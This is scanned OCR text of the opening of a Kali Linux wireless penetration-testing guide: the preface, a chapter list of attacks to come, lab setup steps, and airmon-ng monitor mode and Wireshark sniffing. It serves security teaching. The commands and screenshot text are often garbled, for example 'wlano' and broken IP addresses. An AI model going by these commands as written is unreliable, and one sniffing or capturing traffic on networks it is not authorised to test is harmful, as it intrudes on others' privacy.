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Wireless Networks have become ubiquitous in today's world. Millions of people use it 
worldwide every day at their homes, offices and public hotspots to logon to the Internet 
and do both personal and professional work. Even though wireless makes life incredibly 
easy and gives us such great mobility, it comes with risks. In recent times, insecure wireless 
networks have been used to break into companies, banks and government organizations. 
The frequency of these attacks is only intensified, as network administrators are still 
clueless when it comes to securing wireless networks in a robust and fool proof way. 


Kali Linux Wireless Penetration Testing Beginner's Guide is aimed at helping the reader 
understand the insecurities associated with wireless networks, and how to conduct 
penetration tests to find and plug them. This is an essential read for those who would like 
to conduct security audits on wireless networks and always wanted a step-by-step practical. 
As every wireless attack explained in this book is immediately followed by a practical demo, 
the learning is very complete. 


We have chosen Kali Linux as the platform to test all the wireless attacks in this book. 
Backtrack, as most of you may already be aware, is the world's most popular penetration 
testing distribution. It contains hundreds of security and hacking tools, some of which we 
will use in this course of this book. 


Chapter 1, Wireless Lab Setup: There are dozens of exercises we will be doing in this book. 

In order to be able to try them out, the reader will need to setup a wireless lab. This chapter 
focuses on how to create a wireless testing lab using off-the-shelf hardware and open source 
software. We will first look at hardware requirements, which include wireless cards, antennas, 
access points and other Wi-Fi enabled devices, then we will shift our focus to the software 
requirements which include the operating system, Wi-Fi drivers and security tools. Finally, we 
will create a test bed for our experiments and verify different wireless configurations on it. 
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Chapter 2, WLAN and its Inherent Insecurities: This chapter focuses on inherent design flaws in 
wireless networks, that make insecure out-of-the-box. We will begin with a quick recap of the 
802.11 WLAN protocols using a network analyzer called Wireshark. This will give us a practical 
understanding about how these protocols work. Most importantly, we will see how client and 
access point communication works at the packer level by analyzing Management, Control and 
Data frames. We will then learn about packet injection and packer sniffing in wireless networks, 
and look at some tools which enable us to do the same. 


Chapter 3, Bypassing WLAN Authentication: Now we get into how to break WLAN 
authentication mechanism! We will go step by step and explore how to subvert Open and 
Shared Key authentications. In the course of this, you will learn how to analyse wireless 
packets and figure out the authentication mechanism of the network. We will also look 

at how to break into networks with Hidden SSID and MAC Filtering enabled. These are 

two common mechanisms employed by network administrators to make wireless networks 
more stealthy and difficult to penetrate; however, these are extremely simple to bypass. 


Chapter 4, WLAN Encryption Flaws: One of the most vulnerable parts of the WLAN protocol 
is the Encryption schemas — WEP, WPA and WPA2. Over the past decade hackers have found 
multiple flaws in these schemas and have written publically available software to break them 
and decrypt the data. Also, even though WPA/WPA2 is secure by design, misconfiguring 
those opens up security vulnerabilities, that can be easily exploited. In this chapter, we will 
understand the insecurities in each of these encryption schemas and do practical demos on 
how to break them. 


Chapter 5, Attacks on the WLAN Infrastructure: We will now shift our focus to WLAN 
Infrastructure vulnerabilities. We will look at vulnerabilities created due to both configuration 
and design problem. We will do practical demos of attacks such as access point MAC spoofing, 
bit flipping and replay attacks, rogue access points, fuzzing and denial of services. This chapter 
will give the reader a solid understanding of how to do a penetration test of the WLAN 
infrastructure. 


Chapter 6, Attacking the Client: This chapter might open your eyes if you always believed 
that wireless client security was something you did not have to worry about! Most people 
exclude the client from their list when they think about WLAN security. This chapter will 
prove beyond doubt why the client is just as important as the access point when penetration 
testing a WLAN network. We will look at how to compromise the security using client side 
attacks such as Miss-Association, Caffe Latte, disassociation, ad-hoc connections, fuzzing, 
honeypots and a host of others. 
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Chapter 7, Advanced WLAN Attacks: Now that we have already covered most of the basic 
attacks on both the infrastructure and the client, we will look at more advanced attacks in 
this chapter. These attacks typically involve using multiple basic attacks in conjunction to 
break security in more challenging scenarios. Some of the attacks which we will learn include 
wireless device fingerprinting, man-in-the-middle over wireless, evading wireless intrusion 
detection and prevention systems, rogue access points operating using custom protocol and 
a couple of others. This chapter presents the absolute bleeding edge in wireless attacks out 
in the real world. 


Chapter 8, Attacking WPA-Enterprise and RADIUS: This chapter graduates the user to 

the next level by introducing him to advanced attacks on WPA-Enterprise and the RADIUS 
server setup. These attacks will come in handy when the reader has to penetration test large 
enterprise networks which rely on WPA-Enterprise and RADIUS authentication to provide 
them with security. This is probably as advanced as Wi-Fi attacks can get in the real world. 


Chapter 9, WLAN Penetrating Testing Methodology: This is where all the learning from the 
previous chapters comes together, and we will look at how to do a wireless penetration test 
in a systematic and methodical way. We will learn about the various phases of penetration 
testing—Planning, Discovery, Attack and Reporting, and apply it to wireless penetration 
testing. We will also understand how to propose recommendations and best practices after 
a wireless penetration test. 


Chapter 10, WPS and Probes: This chapter covers the two new attacks in the industry 
that have developed since the initial publication of this book—WPS brute-force and 
probe sniffing for monitoring. 


What you need for this book 


To follow and recreate the practical exercises in this book you will need two laptops with 
built in Wi-Fi cards, a USB wireless Wi-Fi adapter, Kali Linux and some other hardware and 
software. We have detailed this in Chapter 1, Wireless Lab Setup. 


As an alternate to the two laptops, you could also create a Virtual Machine housing Kali 
Linux and connect the card to it over the USB interface. This will help you get started with 
using this book much faster, but we would recommend a dedicated machine running Kali 
Linux for actual assessments in the field. 


From a prerequisite perspective, readers should be aware of the basics of wireless 
networks. This includes having prior knowledge about the basics of the 802.11 protocol 
and client-access point communication. Though we will briefly touch upon some of this 
when we setup the lab, it is expected that the user is already aware of these concepts. 
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Though this book is a Beginner's series, it is meant for all levels of users, from amateurs right 
through to wireless security experts. There is something for everyone. The book starts with 
simple attacks but then moves on to explain the more complicated ones, and finally discusses 
bleeding edge attacks and research. As all attacks are explained using practical demonstrations, 
it is very easy for readers at all levels to quickly try the attack out by themselves. Please note 
that even though the book highlights the different attacks, which can be launched against a 
wireless network, the real purpose is to educate the user to become a wireless penetration 
tester. An adept penetration tester would understand all the attacks out there and would be 
able to demonstrate them with ease, if requested by his client. 


In this book, you will find a number of styles of text that distinguish between different kinds of 
information. Here are some examples of these styles, and an explanation of their meaning. 


Code words in text, database table names, folder names, filenames, file extensions, 
pathnames, dummy URLs, user input, and Twitter handles are shown as follows: "Open 
a console terminal and type in iwconfig." 


Any command-line input or output is written as follows: 


airodump-ng -bssid 00:21:91:D2:8E:25 --channel 11 --write WEPCrackingDemo 
mond 


New terms and important words are shown in bold. Words that you see on the screen, in 
menus or dialog boxes for example, appear in the text like this: "Boot the laptop with this 
DVD and select the option Install from the Boot menu." 


| Warnings or important notes appear in a box like this. | 


| Qh Tips and tricks appear like this. | 


Feedback from our readers is always welcome. Let us know what you think about this 
book—what you liked or may have disliked. Reader feedback is important for us to 
develop titles that you really get the most out of. 
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To send us general feedback, simply send an e-mail to feedback@packtpub.com, and 
mention the book title via the subject of your message. 


If there is a topic that you have expertise in and you are interested in either writing or 
contributing to a book, see our author guide on www. packtpub.com/authors. 


Now that you are the proud owner of a Packt book, we have a number of things to help 
you to get the most from your purchase. 


Although we have taken every care to ensure the accuracy of our content, mistakes do 
happen. If you find a mistake in one of our books—maybe a mistake in the text or the 
code—we would be grateful if you would report this to us. By doing so, you can save other 
readers from frustration and help us improve subsequent versions of this book. If you find 
any errata, please report them by visiting http: //www. packtpub.com/submit-errata, 
selecting your book, clicking on the errata submission form link, and entering the details of 
your errata. Once your errata are verified, your submission will be accepted and the errata 
will be uploaded on our website, or added to any list of existing errata, under the Errata 
section of that title. Any existing errata can be viewed by selecting your title from 
http://www.packtpub.com/support. 


Piracy 


Piracy of copyright material on the Internet is an ongoing problem across all media. At 
Packt, we take the protection of our copyright and licenses very seriously. If you come 
across any illegal copies of our works, in any form, on the Internet, please provide us 
with the location address or website name immediately so that we can pursue a remedy. 


Please contact us at copyright@packtpub.com with a link to the suspected 
pirated material. 


We appreciate your help in protecting our authors, and our ability to bring you 
valuable content. 


You can contact us at quest ions@packtpub. com if you are having a problem with any 
aspect of the book, and we will do our best to address it. 
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Wireless Lab Setup 





"If |had eight hours to chop down a tree, I'd spend six hours sharpening 
my axe.” 


Abraham Lincoln, 16th US President 





Behind every successful execution is hours or days of preparation, and wireless 
penetration testing is no exception. In this chapter, we will create a wireless 
lab that we will use for our experiments in this book. Consider this lab as your 
preparation arena before you dive into real-world penetration testing! 


Wireless penetration testing is a practical subject, and it is important to first set 
up a lab where we can try out all the different experiments in this book in a safe 
and controlled environment. It is important that you set up this lab first before 
moving on in this book. 





In this chapter, we will take a look at the following: 


Hardware and software requirements 
Installing Kali 
Setting up an access point and configuring it 


Installing the wireless card 


eo ¢$ ©¢—6UOHmlClUM 


Testing connectivity between the laptop and the access point 


So let the games begin! 
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Wireless Lab Setup 


We will need the following hardware to set up the wireless lab: 


® 


Two laptops with internal Wi-Fi cards: We will use one of the laptops as the 

victim in our lab and the other as the penetration tester's laptop. Though almost 
any laptop would fit this profile, laptops with at least 3 GB RAM are desirable. This is 
because we may be running a lot of memory-intensive software in our experiments. 


One wireless adapter (optional): Depending on the wireless card of your laptop, 

we may need a USB Wi-Fi card that can support packet injection and packet sniffing, 
which is supported by Kali. The best choice seems to be the Alfa AWUSO36H card 
from Alfa Networks, as Kali supports this out-of-the-box. This is available on 
www.amazon.com for a retail price of £18 at the time of writing. An alternative 
option is the Edimax EW-7711UAN, which is smaller and, marginally, cheaper. 


One access point: Any access point that supports WEP/WPA/WPA2 encryption 
standards would fit the bill. | will be using a TP-LINK TL-WR841N Wireless router 
for the purpose of illustration in this book. You can purchase it from Amazon.com 
for a retail price of around £20 at the time of writing. 


An Internet connection: This will come in handy for performing research, 
downloading software, and for some of our experiments. 


We will need the following software to set up the wireless lab: 


® 


Kali: This software can be downloaded from the official website located at 
http://www.kali.org. The software is open source, and you should be 
able to download it directly from the website. 


Windows XP/Vista/7: You will need any one of Windows XP, Windows Vista, 
or Windows 7 installed on one of the laptops. This laptop will be used as the 
victim machine for the rest of the book. 


It is important to note that, even though we are using a Windows-based 


OS for our tests, the techniques learnt can be applied to any Wi-Fi-capable 


devices such as smart phones and tablets, among others. 
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Let's now quickly take a look at how to get up-and-running with Kali. 


Kali will be installed on the laptop that will serve as the penetration tester's machine 
for the rest of the book. 


Time for action — installing Kali 





Kali is relatively simple to install. We will run Kali by booting it as a Live DVD and then install 
it on the hard drive. 


Perform the following instructions step by step: 
Burn the Kali ISO (we are using the Kali 32-bit ISO) you downloaded onto a bootable DVD. 


1. Boot the laptop with this DVD and select the option Install from the Boot menu: 


* 


EMEA ELUEY 


Boot menu 


Live (606-pae failsafe) 

Live (forensic mode) 

Live USE Persistence (check kali.org/prst) 
Live USB Encrypted Persistence (check kali.org“prst) 
Install 


Press ENTER to boot or TAB to edit a menu entry 





Wireless Lab Setup 


Ze 


If booting was successful, then you should see an awesome retro screen as follows: 


[!!] Select a language 


Choose the language to be used for the installation process. The selected language will 
also be the default language for the installed system. 


Language: 


<Tab> 


C 

Albanian 

Arabic 

Asturian 

Basque 

Belarusian 

Bosnian 

Bulgarian 

Catalan 

Chinese (Simplitied) 
Chinese (Traditional) 
Croatian 

Czech 

Danish 

Dutch 


Esperanta 
Estonian 
Finnish 
French 
Galician 
German 
Greek, 


<Go Back> 


Moves: <Space> ! 





No localization 
Shqip 

eel ool 
Asturianu 
Euskara 

be NaPYCKAA 
Bosanski 
BRAC APCKM 
Catala 

FA 3 (fat te 
Fae (3S ee | 
Hrvatsk 1 
Cestina 
Dansk 
Nederlands 


Esperanto 
Eesti 
Suomi 
Francais 
Galego 
Deutsch 
EXAM L Kot 


‘ts; <Enter> activates buttons 


This installer is similar to the GUI-based installers of most Linux systems and 
should be simple to follow. Select the appropriate options in every screen and 
start the installation process. Once the installation is done, restart the machine 


as prompted and remove the DVD. 


Once the machine restarts, a login screen will be displayed. Type in the login as 
root and the password as whatever you set it to during the installation process. 
You should now be logged into your installed version of Kali. Congratulations! 


| will change the desktop theme and some settings for this book. Feel free to 
use your own themes and color settings! 
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What just happened? 


We have successfully installed Kali on the laptop! We will use this laptop as the penetration 
tester's laptop for all other experiments in this book. 





Have a go hero — installing Kali on VirtualBox 


We can also install Kali within virtualization software such as VirtualBox. If you don't 
want to dedicate a full laptop to Kali, this is the best option. Kali's installation process 
in VirtualBox is exactly the same. The only difference is the pre-setup, which you will 
have to create in VirtualBox. Have a go at it! You can download VirtualBox from 
http: //www.virtualbox.org. 


One of the other ways in which we can install and use Kali is via USB drives. This is 
particularly useful if you do not want to install on the hard drive but still want to store 
persistent data on your Kali instance, such as scripts and new tools. We encourage 
you to try this out as well! 


Now we will set up the access point. As mentioned earlier, we will be using the TP-LINK 
TL-WR841N Wireless Router for all the experiments in this book. However, feel free to 
use any other access point. The basic principles of operation and usage remain the same. 


Time for action — configuring the access point 





Let's begin! We will set the access point up to use Open Authentication with an SSID of 
Wireless Lab. 


Follow these instructions step by step: 


1. Power on the access point and use an Ethernet cable to connect your laptop to 
one of the access point's Ethernet ports. 


Wireless Lab Setup 


2. Enter the IP address of the access point configuration terminal in your browser. For 
the TP-Link, it is by default 192.168.1.1. You should consult your access point's 
setup guide to find its IP address. If you do not have the manuals for the access 
point, you can also find the IP address by running the route -—n command. The 
gateway IP address is typically the access point's IP. Once you are connected, you 
should see a configuration portal that looks like this: 


Authentication Required 


The server http://192.168.1.1:80 requires a username and 
password. The server says: TP-LINK Wireless N Router 
WRE41N, 


User Name: 


Password: 
































3. Explore the various settings in the portal after logging in and find the settings 
related to configuring a new SSID. 


4. Change the SSID to Wireless Lab. Depending on the access point, you may 
have to reboot it for the settings to change: 


TRP-LINK 


Status 

ick Satee 
WPS 

Network 

Wireless 

-Wireless Settings 


e Disable Security 


WPA/WPA2 - Personal(Recommended) 


- Wireless MAC Filtering Version: WPA2-PSK v 


- Wireless Advanced Encryption: AES 
-Wireless Statistics Wireless Password: 88455808 


(You can enter ASCII characters between 8 and 63 or Hexadecimal characters 
between 8 and 64.) 


Forwarding Group Key Update Period: 0 Seconds 


moses ¢ (Keep it default if you are not sure, minimum is 30, 0 means no update) 
Parental Control 


v 


DHCP 


WPA/WPA2 - Enterprise 


Access Control 
Version: Automatic 


Advanced Routing 
Bandwidth Control 
IP & MAC Binding 


Encryption: Automatic 


Radius Server IP: 


Radius Port: | 1812 (1-65535, 0 stands for default port 1812) 


Dynamic DNS 
System Tools Radius Password: 
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5. Similarly, find the settings related to Wireless Security and change the setting to 
Disable Security. Disable Security indicates that it is using Open Authentication mode. 


6. Save the changes to the access point and reboot it if required. Now your access 
point should be up-and-running with an SSID Wireless Lab. 


An easy way to verify this is to use the Wireless Configuration utility on Windows and 
observe the available networks using the Windows laptop. You should find Wireless Lab 
as one of the networks in the listing: 


Koy fic Connect to a network 


Disconnect or connect to another network 
Show |All 7 


a. Wireless Lab Unsecured network 


ms janet Security-enabled network 


a. Unnamed Network Unsecured network 
ce 


Set up a connection or network 
Open Network and Sharing Center 


| Disconnect Cancel 





What just happened? 


We have successfully setup our access point with an SSID Wireless Lab. It is broadcasting 
its presence and this is being picked up by our Windows laptop and others within the 
Radio Frequency (RF) range of the access point. 


It is important to note that we configured our access point in Open mode, which is the 
least secure. It is advisable not to connect this access point to the Internet for the time 
being, as anyone within the RF range will be able to use it to access the Internet. 
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Play around with the configuration options of your access point. Try to get it up-and-running 
using encryption schemes such as WEP and WPA/WPA2. We will use these modes in later 
chapters to illustrate attacks against them. 


Setting up our wireless adapter is much easier than the access point. The advantage is that 
Kali supports this card out-of-the-box and ships with all requisite device drivers to enable 
packet injection and packet sniffing. 


Time for action — configuring your wireless card 


We will be using the wireless adapter with the penetration tester's laptop. 





Please follow these instructions step-by-step to set up your card: 


1. Plugin the card to one of the Kali laptop's USB ports and boot it. 


Once you log in, open a console terminal and type in iwconfig. Your screen 
should look as follows: 


root@wireless-example: ~ 


File Edit Wiew Search Terminal Help 
'~# iwconfig 
IEEE 802.11lbgn ESSID:off/any 
Mode:Managed Access Point: Not-Associated J[x-Power=20 dBm 
Retry short Limit:? RTS thr:off Fragment thr:off 
Encryption key:off 
Power Management :off 


no wireless extensions. 


no wireless extensions. 





As you can see, wlan0 is the wireless interface created for the wireless adapter. 
Type in ifconfig wlano to bring the interface up. Then, type in ifconfig 
wlano to see the current state of the interface: 


(-# ifconfig wlang 
Link encap:Ethernet HWaddr 80:17T:02:8T:34:d5 
UP BROADCAST MULTICAS MTU:1500 Metric:l 
RX packets:@ errors:@ dropped:@ overruns:@ frame:8 


TX packets:@ errors:@ dropped:0@ overruns:0 carrier:@ 
collisions:0 txqueuelen:; L008 
RX bytes:0 (0.0 B) |TK\bytess0 (@.G) B) 
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2. The MAC address 00:c0:ca:3e:bd:93 should match the MAC address written 
under your Alfa card. | am using the Edimax that gives me the preceding MAC 
address 80:1£:02:8£:34:4d5. This is a quick check to ensure that you have 
enabled the correct interface. 


What just happened? 


Kali ships with all the required drivers for the Alfa and Edimax adapters out of the box. As 
soon as the machine booted, the adapter was recognized and was assigned the network 
interface wlanO. Now our wireless adapter is up and functional! 


Now we will take a look at how to connect to the access point using the wireless adapter. 
Our access point has an SSID Wireless Lab and does not use any authentication. 


Time for action — configuring your wireless card 





Here we go! Follow these steps to connect your wireless card to the access point: 


1. Let's first see what wireless networks our adapter is currently detecting. Issue 
the command iwlist wlanO scanning and you will find a list of networks in 
your vicinity: 


‘~# iwlist wlan@ scanning 
scan completed : 
Cell @1 - Address: 9C:D3:60:2A:/B:CG 
Channel :11 
Frequency:2.462 GHz (Channel 11) 
Quality=22//0 Signal lLevel=-88 dBm 
Encryption key:on 
ESSID: "averythingwil Lprobablynotbeokay " 
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s: 6 Mb/s 
9 Mb/s: 17 Mb/s; 18 Mb/s 
Bit Rates:24 Mb/s; 356 Mb/s; 48 Mb/s; 54 Mb/s 
Mode:Master 
Extra:tsf=00000273369666b3c 
Extra: Last beacon: 11/72ms ago 
: Unknown: @01F65/665727/9/468696E6///696C6C/0/276F6261676C/ 


S6E6F/462656F6B61/9 


: Unknown: \G1BBS2848B960C121874 
© Unknown: @301GB 
: Unknown: @7664742270010014 
© Unknown: 2AGQ104 
- Unknown: 37043048606C 
© Unknown: 
BEBE7ODaG 
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Keep scrolling down and you should find the Wireless Lab network in this list. 
In my setup, it is detected as Cell 05; it may be different in yours. The ESSID 
field contains the network name. 


As multiple access points can have the same SSID, verify that the MAC address 
mentioned in the preceding Address field matches your access point's MAC. 

A fast and easy way to get the MAC address is underneath the access point or 

using web-based GUI settings. 


Now, issue the iwconfig wlanO essid "Wireless Lab" command and then 
iwconfig wlano to check the status. If you have successfully connected to the 
access point, you should see the MAC address of the access point in the Access 
Point: field in the output of iwconfig. 


We know that the access point has a management interface IP address 192.168.0.1 
from its manual. Alternately, this is the same as the default router IP address when we 
run the route -n command. Let's set our IP address in the same subnet by issuing 
the ifconfig wlanO 192.168.0.2 netmask 255.255.255.0 upcommand. 
Verify the command succeeded by typing ifconfig wlano and checking the output. 


Now let's ping the access point by issuing the ping 192.168.0.1command. If the 
network connection has been set up properly, then you should see the responses from 
the access point. You can additionally issue an arp -—a command to verify that the 
response is coming from the access point. You should see that the MAC address of the 
IP 192.168.0.1 is the access point's MAC address we noted earlier. It is important 

to note that some of the more recent access points might have responses to Internet 
Control Message Protocol (ICMP) echo request packets disabled. This is typically 

done to make the access point secure out-of-the-box with only minimal configuration 
settings available. In such a case, you can try to launch a browser and access the 

web interface to verify that the connection is up-and-running: 


i~# ping 1927.168.0.1 
PING 197.168.@0.1 (192.168.0.1) 56(84) bytes of data. 
64 bytes from 192.168.0.1: icmp reg=l ttl=128 time=5.02 
64 bytes from 192.168.0.1: icmp, reg=2 ttl=128 time=1.48 
64 bytes from 192.168.0.1: icmp_reg=3 ttl=128 time=1.4/ 


sic Gi 


--- 1927.168.0.1 ping statistics --- 
3 packets transmitted, 3 received, 0% packet Loss, time 7400sms 
rtt min/avg/max/mdev = 1.4/9/2.660/5.021/1.6/0 ms 
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On the access point, we can verify connectivity by looking at the connection 
logs. As you can see in the following log, the MAC address of the wireless card 
4C:0F:6E:70:BD:CB has been logged making DHCP requests from the router: 


a 


WPS 

Network 

Wireless 

DHCP 

Forwarding 
Security 

Parental Control 
Access Control 
Advanced Routing 
Bandvadth Control 
IP & MAC Binding 
Dynamic Dh DNS 
System Tools 


ze Time Settings 


System Log 


Auto Mail Feature: Disabled Mail Settings | 


Log Type: DHCP ¥ Log Level: | ALL 


5-59-27 IDHCP|INFO JDHCRS: Recy INFORM from 4C:0F'SE:70:BD:CB 

5-57-27|DHCPIINFO |DHCPS-Recv INFORM from 4C-0F-6E-70:BD-CB 

5:56:11|DHCP|INFO |DHCPS:Recv INFORM from 4C-0F 6E-70:8D:CB 
5:56: 07|DHCP| INFO |DHCPS:Send ACK to 192.168.1.100 

[De ec 27 05:56:07 INFO |DHCPS:Recv REQUEST from 4C-0F-6E-70-BD:CB 
5: Soe DHCPS:Send OFFER with ip 192.168.1.100 


c2/ 05:5 
27 05:5 
27 05:56: 
2f 05:5 
027 5 
c27 05:5 





Oo}, o anil 


What just happened? 


We just connected to our access point successfully from Kali using our wireless adapter as 
the wireless device. We also learnt how to verify that a connection has been established at 
both the wireless client and the access point side. 





Here is a challenging exercise for you—set up the access point in a WEP configuration. For 
each of these, try establishing a connection with the access point using the wireless adapter. 
Hint: check the manual for the iwconfig command by typing man iwconfig to see how to 
configure the card to connect to WEP. 





Q1. After issuing the command ifconfig wlano, how do you verify the wireless card 
is up and functional? 


Q2. Can we run all our experiments using the Kali live CD alone? Can we not install the CD 
to the hard drive? 


Q3. What does the command arp -ashow? 


Q4. Which tool should we use in Kali to connect to WPA/WPA2 networks? 
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Summary 


This chapter provided you with detailed instructions on how to set up your own wireless 
lab. Also, in the process, you learned the basic steps for: 


@ Installing Kali on your hard drive and exploring other options such as Virtual 
Machines and USBs 


Configuring your access point over the web interface 


Understanding and using several commands to configure and use your 
wireless card 


@ Verifying the connection state between the wireless client and the 
access point 


It is important that you gain confidence in configuring the system. If you aren't confident, 
it is advisable that you repeat the preceding examples a couple of times. In later chapters, 
we will design more complicated scenarios. 


In the next chapter, we will learn about inherent design-based insecurities in WLANs 
design. We will use the network analyzer tool, Wireshark, to understand these concepts 
in a practical way. 
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WLAN and its Inherent Insecurities 


"The loftier the building, the deeper the foundation must be laid.” 


Thomas Kempis 





Nothing great can be built on a weak foundation, and in our context, nothing 
secure can be built on something that is inherently insecure. 


WLANSs, by design, have certain insecurities that are relatively easy to exploit, 
for example, by packet spoofing, packet injection, and sniffing (this could even 
happen from far away). We will explore these flaws in this chapter. 





In this chapter, we shall look at the following: 


Revisiting WLAN frames 
Different frame types and subtypes 
Using Wireshark to sniff management, control, and data frames 


Sniffing data packets for a given wireless network 


¢ ¢ ¢lUcOHm™UlCUM 


Injecting packets into a given wireless network 


Let's get started! 
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Revisiting WLAN frames 


As this book deals with the security aspects of wireless, we will assume that you already 
have a basic understanding of the protocol and the packet headers. If not, or if it's been 
some time since you worked on wireless, this would be a good time to revisit this topic again. 


Let's now quickly review some basic concepts of WLANs that most of you may already 
be aware of. In WLANs, communication happens over frames. A frame would have the 
following header structure: 


Frame Duration/ Address Address Address Sequence Address QoS 
Control 13) 1 2 3 'Welalace) 4 els ege)| 


e—e—> <=? EE"? E————""?'_— - ES """:s_ ES": OSES"? ES "?- SI "> 


Bytes 2 2 6 6 6 2 6 2 0 to & 
2312 





The Frame Control field itself has a more complex structure: 


Frame Duration/ Address Address Address Sequence Address QoS Frame 
eli ige) ID 1 2 3 es) slags) 4 Control Body 


age) keine) More Data Protected 
Frame 
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The Type field defines three types of WLAN frame: 


1. Management frames: Management frames are responsible for maintaining 
communication between access points and wireless clients. Management frames 
can have the following subtypes: 


a Authentication 
a Deauthentication 
a Association request 
o Association response 
o Reassociation request 
a Reassociation response 
a  Disassociation 
Oo Beacon 
a Probe request 
a Probe response 
2. Control frames: Control frames are responsible for ensuring a proper exchange 


of data between access points and wireless clients. Control frames can have the 
following subtypes: 


a Request to Send (RTS) 
a Clear to Send (CTS) 
a Acknowledgement (ACK) 


3. Data frames: Data frames carry the actual data that is sent on the wireless network. 
There are no subtypes for data frames. 


We will discuss the security implications of each of these frames when we discuss different 
attacks in later chapters. 


We will now look at how to sniff these frames over a wireless network using Wireshark. 
There are other tools—such as Airodump-NG, Tcpdump, or Tshark—that you can use for 
sniffing as well. We will, however, mostly use Wireshark in this book, but we encourage you 
to explore other tools as well. The first step to do this is to create a monitor mode interface. 
This will create an interface for our adapter, which allows us to read all wireless frames 

in the air, regardless of whether they are destined for us or not. In the wired world, this is 
popularly called promiscous mode. 
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Time for action — creating a monitor mode interface 


Let's now set our wireless adapter into monitor mode. 





Follow these instructions to get started: 


1. Boot Kali with your adapter connected. Once you are within the console, enter 
iwconfig to confirm that your card has been detected and the driver has been 
loaded properly. 


root@kali: ~ 


File Edit View ‘Search Terminal Help 
-~# iwcontig 
no wireless extensions. 


no wireless extensions. 


IEEE 802.11lbgn ESSID:off/any 

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm 
Retry Long Limit:/ RTS thr:off Fragment thr:off 
Encryption key:off 

Power Management :on 


= aiff 





2. Usethe ifconfig wlanl up command to bring the card up (where wlan1 
is your adapter). Verify whether the card is up by running ifconfig wlanl. 
You should see the word UP in the second line of the output as shown in the 
following screenshot: 
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root@kali: ~ 


File Edit View Search Terminal Help 

root@kali:~# ifconfig wlanl up 

root@kali:~# 

root@kali:~# 

root@kali:~# 

root@kali:~# ifconfig wlanl 

wLanl Link encap:Ethernet HwWaddr 8@0:1f:02:8f:34:d5 
UP BROADCAST MULTICAST MTU:1500 Metric:1 
RX packets:0 errors:0 dropped:0 overruns:6 frame:0 
TX packets:0 errors:@ dropped:@ overruns:0@ carrier:6 
collisions:@ txqueuvelen:1006 
RX bytes:0 (0.0 B) TX bytes:0 (0.06 B) 


root@kali:~# 





3. To put our card into monitor mode, we will use the airmon-ng utility that 
is available by default on Kali. First run airmon-ng command to verify whether it 
detects the available cards. You should see the wlano interface listed in the output: 


root@kali: ~ 


File Eqit View Search Terminal Help 
root@kali:-# airmon-ng 


Interface Chipset Driver 


wLlanl Ralink RI28/6/30/0 rt280G0usb - [phy@] 


root@kali:~# 
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4, Nowenter airmon-ng start wlanl command to create a monitor mode 
interface corresponding to the wlano device. This new monitor mode interface 
will be named mono. (You can verify if it has been created by running airmon-ng 
without arguments again). 


root@kali: ~ 


File Edit View Search Terminal Help 
root@kali:~# airmon-ng start wlanl 


Found 3 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill {some of) them! 


Name 
NetworkManager 
dhclient 

wpa supplicant 


Interface Chipset Driver 


wlanl Ralink RI28/0/30/0 rt2800usb - [phy@] 
(monitor mode enabled on mong) 


root@kali:~# airmon-ng 


Interface Chipset Driver 


mont) Ralink RI26/0/30/6 rt#80Gusb - [phy@] 
wlanl Ralink RI28/0/30/76 rtZ2800usb - [phy@] 





5. Also, running ifconfig mono should now display a new interface called mono. 


root@kali: ~ 


File Edit View Search Jerminal Help 

root@kali:-# ifconfig mon®@ 

mong Link encap:UNSPEC HWaddr 80-1F-02-8F-34-D5-00-00-00-00-00-00-00-00-00 
-06 


UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 

RX packets:13527 errors:0 dropped:1385 overruns:6 frame:@ 
TX packets:@0 errors:0 dropped:@ overruns:0 carrier:8 
collisions:@ txqueuelen: 1000 

RX bytes:1/720827 (168.0 KiB) IX bytes:@ (0.0 B) 





What just happened? 


We have successfully created a monitor mode interface called mono. This interface will be used 
to sniff wireless packets off the air. This interface has been created for our wireless adapter. 
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It is possible to create multiple monitor mode interfaces using the same physical card. Use 
the airmon-ng utility to see how you can do this. 


Awesome! We have a monitor mode interface just waiting to read some packets off the air. 
So let's get started. 


In the next exercise, we will use Wireshark to sniff packets off the air using the monO 
monitor mode interface we just created. 


Time for action — sniffing wireless packets 





Follow the following instructions to begin sniffing packets: 


1. Power up the Access Point Wireless Lab that we configured in Chapter 1, Wireless 
Lab Setup. 


2. Start Wireshark by typing Wireshark & in the console. Once Wireshark is running, 
navigate to Capture | Interfaces. 


File Eqit View Go Capture Analyze Statistics Telephony Tools Internals Help 
a a ot = =) [si 


Filter: | Expression... 








Wireshark: Capture Interfaces 


Device Description IP Packets Packets/s 
[| gl etho 192.168.200.128 

& mond 146 
_| g®inflog Linux netfilter log (NFLOG) interface 


[ ] ra 


a wlanl 

















| | g&l any Pseudo-device that captures on all interfaces 


[1 tlle 127.0,0.1 


g Help Options Close 


| Arichassortment of example capturefiles onthe wi 
EM ethoO 


an 


= mond 


cl 


1 


© Ready to Load or capture No Packets Profile: Default 
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3. Select packet capture from the mono interface by clicking on the Start button to 
the right of the mono interface as shown in the previous screenshot. Wireshark will 
begin the capture, and now you should see packets within the Wireshark window. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 
Ol a a Q 2? #3 Be 


| Expression... 


No, Time Source Destination Protocol Length Info 


012601000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 
114881000 D-Link _62:6d:08 Broadcast B02.11 142? Beaco 
.217780000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 
.319875000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 
423660000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco 
. 224681000 -Link_62:6d:08 Broadcast 802.11 142? Beaco 
627225000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 
.729613000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 
.8327144000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco 
.934426000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 

10.036888000 D-Link _62:6d:08 Broadcast 802.11 142 Beaco 

10.139389000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco |= 
3 10.241765000 D-Link 62:6d:08 Broadcast 802.11 142 Beaco|~|} 
> 


g 
9 
=) 
9 
9 
g 
9 
9 
9 
= 





Frame 1: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 
Radiotap Header vO, Length 18 

